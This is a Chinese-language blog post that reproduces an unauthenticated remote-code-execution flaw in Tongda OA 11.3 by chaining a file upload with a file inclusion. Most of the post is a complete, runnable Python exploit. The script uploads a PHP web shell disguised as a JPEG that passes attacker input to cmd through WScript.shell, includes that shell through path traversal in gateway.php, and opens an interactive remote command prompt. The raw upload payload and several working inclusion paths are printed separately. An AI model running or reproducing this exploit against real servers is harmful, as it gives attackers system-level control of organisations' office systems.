FengHLZ.xyz | Know it - Do it
2020-03-24 | 漏洞复现 | UNLOCK

通达OA文件上传+文件包含RCE

漏洞概述

通达OA（Office Anywhere网络智能办公系统）是由北京通达信科科技有限公司自主研发的协同办公自动化系统，包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等。

该漏洞在绕过身份验证的情况下通过文件上传漏洞上传恶意php文件，组合文件包含漏洞最终造成远程代码执行漏洞，从而导致可以控制服务器system权限。

漏洞复现

测试版本 通达OA11.3：https://cdndown.tongda2000.com/oa/2019/TDOA11.3.exe

直接下载安装。安装过程比较漫长，安装了Nginx、MySQL，网站源码（在webroot目录下），并且会开机启动。

先尝试下腹黑师傅的脚本：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python3
# -*- encoding: utf-8 -*-
'''
@File    :   tongda_rce.py
@Time    :   2020/03/18 11:59:48
@Author  :   fuhei 
@Version :   1.0
@Blog    :   http://www.lovei.org
'''

import requests
import re
import sys


def check(url):
    
    try:
        url1 = url + '/ispirit/im/upload.php'
        headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Forwarded-For": "127.0.0.1", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "multipart/form-data; boundary=---------------------------27723940316706158781839860668"}
        data = "-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"ATTACHMENT\"; filename=\"f.jpg\"\r\nContent-Type: image/jpeg\r\n\r\n<?php\r\n$command=$_POST['f'];\r\n$wsh = new COM('WScript.shell');\r\n$exec = $wsh->exec(\"cmd /c \".$command);\r\n$stdout = $exec->StdOut();\r\n$stroutput = $stdout->ReadAll();\r\necho $stroutput;\r\n?>\r\n\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"P\"\r\n\r\n1\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"DEST_UID\"\r\n\r\n1222222\r\n-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"UPLOAD_MODE\"\r\n\r\n1\r\n-----------------------------27723940316706158781839860668--\r\n"
        result = requests.post(url1, headers=headers, data=data)

        name = "".join(re.findall("2003_(.+?)\|",result.text))
        url2 = url + '/ispirit/interface/gateway.php'
        headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Forwarded-For": "127.0.0.1", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}
        data = {"json": "{\"url\":\"../../../general/../attach/im/2003/%s.f.jpg\"}" % (name), "f": "echo fffhhh"}
        result = requests.post(url2, headers=headers, data=data)
        if result.status_code == 200 and 'fffhhh' in result.text:
            # print("[+] Remote code execution vulnerability exists at the target address")
            return name
        else:   
            return False
    except:
        pass

def command(url, name,command="whoami"):
    url = url + '/ispirit/interface/gateway.php'
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Forwarded-For": "127.0.0.1", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}
    data = {"json": "{\"url\":\"../../../general/../attach/im/2003/%s.f.jpg\"}" % (name), "f": "%s" % command}
    result = requests.post(url, headers=headers, data=data)
    while(1):
        command = input("fuhei@shell$ ")
        if command == 'exit' or command  == 'quit':
            break
        else:
            data = {"json": "{\"url\":\"../../../general/../attach/im/2003/%s.f.jpg\"}" % (name), "f": "%s" % command}
            result = requests.post(url, headers=headers, data=data)
            print(result.text)

if __name__ == '__main__':
    url = sys.argv[1]
    name = check(url)
    if name:
        print("[+] Remote code execution vulnerability exists at the target address")
        command(url,name)
    else:
        print("[-] There is no remote code execution vulnerability in the target address")

效果如下：

这个给过程可以分为两步：

  • 上传shell文件
  • 包含该shell并执行恶意代码

上传shell文件

漏洞点在/ispirit/im/upload.php

分析源码，只要POST 参数P，即可绕过认证：

传递如下相关参数：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
-----------------------------27723940316706158781839860668
Content-Disposition: form-data; name="ATTACHMENT"; filename="f.jpg"
Content-Type: image/jpeg

<?php
$command=$_POST['f'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

-----------------------------27723940316706158781839860668
Content-Disposition: form-data; name="P"

1
-----------------------------27723940316706158781839860668
Content-Disposition: form-data; name="DEST_UID"

1222222
-----------------------------27723940316706158781839860668
Content-Disposition: form-data; name="UPLOAD_MODE"

1
-----------------------------27723940316706158781839860668--

如下：

只要返回类似这样的信息，就说明文件上传成功了。

上传的文件不在web目录下，无法直接访问，具体目录为：attach/im/2003/随机数.文件名

文件包含

漏洞位置：/ispirit/interface/gateway.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if ($json) {
    $json = stripcslashes($json);
    $json = (array) json_decode($json);
    foreach ($json as $key => $val) {
        if ($key == 'data') {
            $val = (array) $val;
            foreach ($val as $keys => $value) {
                ${$keys} = $value;
            }
        }
        if ($key == 'url') {
            $url = $val;
        }
    }
    if ($url != '') {
        if (substr($url, 0, 1) == '/') {
            $url = substr($url, 1);
        }
        if (strpos($url, 'general/') !== false || strpos($url, 'ispirit/') !== false || strpos($url, 'module/') !== false) {
            include_once $url;
        }
    }
    exit;
}

只要包含的文件路径中含有general/等关键字，就会执行包含操作。

结果如下（需要添加相关文件头）：

但是腹黑师傅脚本中的目录没看太懂（../../../），后面再尝试其他易于理解的目录。

注意事项

1. zend|54加密

通达OA的所以PHP源文件都是经过zend加密的，直接用文本编辑器打开是无法查看源码的，需要解密后查看：

http://dezend.qiling.org/free.html

2. 目录问题

首先展示下通达OA的关键目录：

1
2
3
4
5
6
7
8
9
10
11
C:\MYOA
	|	\attach
		|	\im
			|	\2003
				|	上传的文件
	|	\webroot
		|	\ispirit
			|	\im
				|	upload.php
				\interface
				|	gateway.php

文件包含操作在gateway.php

如下目录都可以包含成功：

  1. ../../general/../../attach/im/2003/2103512691.f.jpg
  2. /general/../../attach/im/2003/2103512691.f.jpg
  3. ../../../general/../attach/im/2003/2103512691.f.jpg

第三种即腹黑师傅脚本中的，没看太懂。。

3. 猜测通达OA重启服务后会自动更新补丁

昨天晚上exp跑的好好的，今天早上再试就漏洞不存在了，可能是自动更新了补丁。

提前把webroot目录备份了一下，如果有小伙伴第二次复现失败，就尝试删掉现有的webroot目录再还原。

参考链接

https://www.anquanke.com/post/id/201174

https://www.mzxh.xyz/2020/03/18/%E9%80%9A%E8%BE%BEoa%E5%A4%8D%E7%8E%B0/

通达OA

评论加载中